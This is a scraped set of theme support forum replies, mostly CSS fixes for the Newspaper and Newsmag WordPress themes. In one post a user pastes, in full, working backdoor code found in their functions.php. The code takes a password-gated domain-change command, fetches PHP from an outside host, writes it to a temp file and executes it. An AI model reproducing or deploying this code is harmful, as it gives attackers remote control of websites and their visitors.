- NewspaperCreate Custom Code with the browser’s Inspector or the Live CSS Box
- NewspaperScroll Animation
- NewspaperWP Rocket and Newspaper Theme: Optimization Guide
- NewspaperHow to setup Twitch for Social Counter
- NewspaperModal Popup
- NewspaperFlex Block Settings Guide
- NewspaperAutoptimize Plugin – install and configuration
- NewspaperAdding Multiple Authors to Your Articles
- NewspaperDesign your Post Pages using the Cloud Library Templates
- NewspaperBig Grid Flex Settings
- NewsmagtagDiv Composer Tutorial
- TutorialsFrom WPBakery to tagDiv Composer
- NewspapertagDiv Composer Tutorial
- NewspaperTheme modules and blocks
- TutorialsDefault Block Settings Guide
- NewspaperThe Mobile Theme
- NewspaperCompare theme files – Winmerge tutorial
- NewsmagBlock settings tutorial
- NewsmagLogo & Favicon
- NewsmagFooter templates
Hi,
There seems to be a pointer condition set with CSS, that is affecting the top bar menu
– https://www.screencast.com/t/HYaIlVbMx2
If that code is required and cannot be removed, enter this one to make the top menu clickable again
.td-top-menu-full {
pointer-events: auto;
}
Thanks
Hi,
You could use custom css in Theme Panel > Custom Css to hide the likes number – https://forum.tagdiv.com/topic/we-dont-want-counter-numbers-on-social-counter-plugin-we-arent-that-famous/
Thanks!
Hi,
The theme doesn’t have an option for this. You could install a demo which has the specific design like Magazine – https://demo.tagdiv.com/newspaper_magazine/
Or you can create a custom css for your site – https://forum.tagdiv.com/create-custom-code-using-the-browsers-inspector/
Thanks!
Hi,
A background image can be set for each category, in the Per category settings
– https://forum.tagdiv.com/newsmag-how-category-settings-work/
But for setting a header image on the category page there is no option at the moment. That could only be done by maybe modifying the category templates and inserting the images there. Or maybe place them with some CSS.
On blocks and modules the categories will be represented by a category tag, not image
– https://forum.tagdiv.com/newsmag-category-tag-on-modulesblocks/
Thanks
Hi,
The menu can have a background color set and also text color, in the theme panel
– https://www.screencast.com/t/OoGfKO9Ty
The same colors will be displayed when the menu is sticky. If you want the menu to have a white background color when in sticky state, try a code like in this example
– https://www.screencast.com/t/zBmtFDwWt
– https://www.screencast.com/t/JyII557E7bIZ
The code must be entered in Theme panel->Custom CSS if you decide to use it
.td-header-style-6 .td-header-main-menu.td-affix {
background-color: white;
{
Thanks
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
I don’t work here but you might use the inspector in Chrome to see the styles and add custom css for
<div class="comment-content">
<p>These are impressive, Tre! You are a person of incredible talent and vision. I especially like the portrait of Joe Biden and the one just above the Statue of Liberty. That face is so expressive — compels the viewer to pause and consider what the young man might say in a face-to-face conversation. Congrats on your show at the Glen Allen Cultural Center!</p>
</div>
Hi,
Please specify the smart list style for which you would like to make these modifications. By default there are no options to modify how the smart list looks, I will try to give you a solution with custom CSS. Also provide more details about how exactly you would like the buttons to be.
Thanks
Hi,
The image limit for Image Box is set to 4. You could add another Image Box element bellow the one you use and configure it – https://www.screencast.com/t/wiOhj0F5Cs
To remove the margin between them you could add an extra class to the first Image Box element – https://www.screencast.com/t/f6lymMIO and use custom css in Theme Panel > Custom Css – https://www.screencast.com/t/x6I2C7yQNFYC
.yourclass {
margin-bottom: 5px !important;
}
Hope this helps!
Hello sector,
If you want to hide only an icon from Social Icons you should target it by a custom CSS code and for this, you should use the Inspector browser to create your own code, like this -> https://forum.tagdiv.com/create-custom-code-using-the-browsers-inspector/
Hope this helps!
Thanks for your understanding!
Hi,
Removing the Google+ and Pinterest sharing options could be done by removing them from the actual theme code, in the files. But an easier method would be to use some CSS, like this
– https://www.screencast.com/t/YjqUYrilPy7v
.td-default-sharing .td-social-google,
.td-default-sharing .td-social-pinterest {
display: none;
}
Thanks
Hi,
I though the link you provided was your website, which already has icons in the block titles. There is a solution provided in this topic
– https://forum.tagdiv.com/topic/block-icon-awesome/
Or add the class of the Font awesome icons in the block custom class section
– https://www.screencast.com/t/gGt6VXoL
And use this custom CSS code in Theme panel->Custom CSS
– https://www.screencast.com/t/2OScNnhjWT2
.fa:before {
position: absolute;
left: 0;
top: 0;
height: 30px;
display: flex;
align-items: center;
width: 30px;
justify-content: center;
color: #fff;
z-index: 2;
}
.td-block-title-wrap .block-title .td-pulldown-size {
padding-left: 28px;
}
The theme blocks and grids are predefined elements, which will respond in a predefined way concerning responsiveness. The way the grid looks on mobile devices cannot be changed, there is no option to choose how the grid will look on mobile.
Thanks
Hi,
Use this code for the top bar – https://www.screencast.com/t/XDIkUQYu
.td-header-style-3 .td-header-top-menu-full {
background-color: transparent;
}
.td-header-style-3 .td-header-top-menu {
background-color: #111;
}
For the footer I could give you a code to force the footer to a fixed width (the theme container width)
– https://www.screencast.com/t/4YrzQ51wKHr
.td-footer-wrapper.td-container-wrap {
width: 1068px!important;
}
This code for the footer must be entered in Advanced CSS in the desktop section, so it only applies for desktop devices.
Thanks
Hello sector,
Try using the code below and place it in Theme panel -> Custom CSS area.
@media (max-width:767px){
.td-menu-socials{
display:none;
}
}
Thanks for the message!
Hi,
There is no option for that, in modules the categories will be always a predefined color. You could change the category tags on modules with custom CSS. Use the browser inspector to identify the classes used, and create custom code
– https://forum.tagdiv.com/create-custom-code-using-the-browsers-inspector/
Thanks
Hi,
The available header styles require different logo sizes
– https://forum.tagdiv.com/logo-favicon/
The logo images will be displayed as they are naturally, the theme does not process the image quality in any way. This is how the logo looks for me, does not seem blurry
– https://www.screencast.com/t/pw54bvddDe9q
Place the exact same image in a post content for example, and compare with header logo. Or test with more header styles and logo sizes.
I believe WordPress does not support SVG by default, there are workarounds that you could try if you wish
– https://www.bjornjohansen.no/svg-in-wordpress
– https://css-tricks.com/snippets/wordpress/allow-svg-through-wordpress-media-uploader/
Thanks
Hello,
we´d like to have additional pages and additional functionality with tag div content area. We want to have this sort of round buttons in a row as in this test here, where my partner tried to add them, using a text area.
https://drive.google.com/open?id=0B8IDvIlInXlKQjg5bmlrYUVDWEE
Is there any way we could add PNG buttons with css or some section widget? We have the button designs in the media file section, waiting for solution. From the buttons, we´d like to link to other pages and/or categories.
Thanks in advance
Maiko
Hello,
thank you for this great themes. I need some help.
1- I need help for the block excerpt. I want see short excerpt for my module. For example: http://www.savunmahatti.com/demo block title: ÖZEL HABERLER . I need change the expert lenght. how i change?
2- On my web site homepage i dont show the writer names in block how i remove writer names? (aka usernames)
3- I want add icon in block title for ex: http://thereview.ghostpool.com/ I try upload with css edit but it is very hard. How i add icon simple way?
Hello,
It seems that you have some additional customizations because some unknown codes are working on your website and that’s why you bring bad results with your footer socials icons, sorry! Try to remove all of these and disable all of the untested plugins if you are using something like this, clear all the caches and check the results. As a quick solution, you can try using the code below and place it in Theme panel -> Custom CSS area.
The code is ->
.td-social-style-2 .td-icon-font {
top: inherit!important;
}
Thanks for the message!
Hello. Just want to let you guys know that Newsmag has some incompatibility problets with the plugin Arena Products Store. The products list on homepage sidebar https://www.somosung.com is unclickable in mobile due to a div placing over the products and, the comparations thumbnails are not center due to css overriding styles (example https://www.somosung.com/comparar/galaxy-j5-2015-vs-galaxy-j7-2016/).
Could you guys check it out please?
Hi,
That is not caused by the theme. There seems to be an inline height set on the iframe, overriding the default value
– https://www.screencast.com/t/7cKVHXTtZy
I could not say why that height is present there, but it is not coming from the theme. Could by a plugin setting that you might use. You could override it with a code like this maybe, just for desktop (on mobile seems to be resizing properly)
– https://www.screencast.com/t/Qkrila5QbKa4
Enter it in Theme panel->Custom CSS if you decide to use it
@media (min-width: 1140px) {
.lity-content iframe {
height: 500px!important;
}
}
Thanks
Hi,
The share buttons are defined in this file of the theme
– https://www.screencast.com/t/mQQPLozXpz
There are two instances of the buttons, for top and bottom. Remove the Twitter button from both, if that is needed.
Or you could hide just the Twitter button with a code like this in custom CSS, for both top and bottom
– https://www.screencast.com/t/6ra1dbNR
.td-classic-sharing .td-classic-twitter {
display: none;
}
Maybe there are ways of displaying a share count through a plugin, you could search for that as well.
Thanks
Hi,
A code like this will reduce the bottom margin to half the current value, for all the custom ads used on the homepage in the current sidebar
– https://www.screencast.com/t/5RYaQpqWHjB
.home .td-pb-span4 [class*="td-a-rec-id-custom_ad_"] {
margin-bottom: -22px;
}
Enter it in Theme panel->Custom CSS if you decide to use it.
Thanks
Hi,
If you would like to reduce the space between those blocks
– https://www.screencast.com/t/jxjjMcuM0MU
You could set a negative top margin for the block below, or a negative bottom margin for the top block, with the composer
– https://www.screencast.com/t/VRyhnmOgMO
Or try some Custom CSS, like this for example
– https://www.screencast.com/t/eJU6ZHzfZ
.home .td_block_21 {
margin-top: -48px;
}
Thanks
Hello filip,
Above, I have presented you where this is in a code. Another alternative for you would be to use a bit of CSS code to hide this from your page, like in this example -> https://www.screencast.com/t/7it3bgEg
.page-id-446 tbody>tr:last-child{
display:none;
}
Hope this helps!
Thanks for your understanding!